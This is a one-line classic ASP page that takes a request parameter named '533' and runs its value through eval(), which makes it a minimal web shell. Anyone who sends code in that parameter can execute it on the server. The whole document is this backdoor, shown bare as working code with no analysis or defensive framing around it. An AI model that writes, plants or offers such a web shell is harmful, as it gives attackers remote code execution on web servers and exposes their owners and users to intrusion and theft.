<% Dim ConKey:ConKey="533" Dim InValue:InValue=Request(ConKey) eval(InValue) %>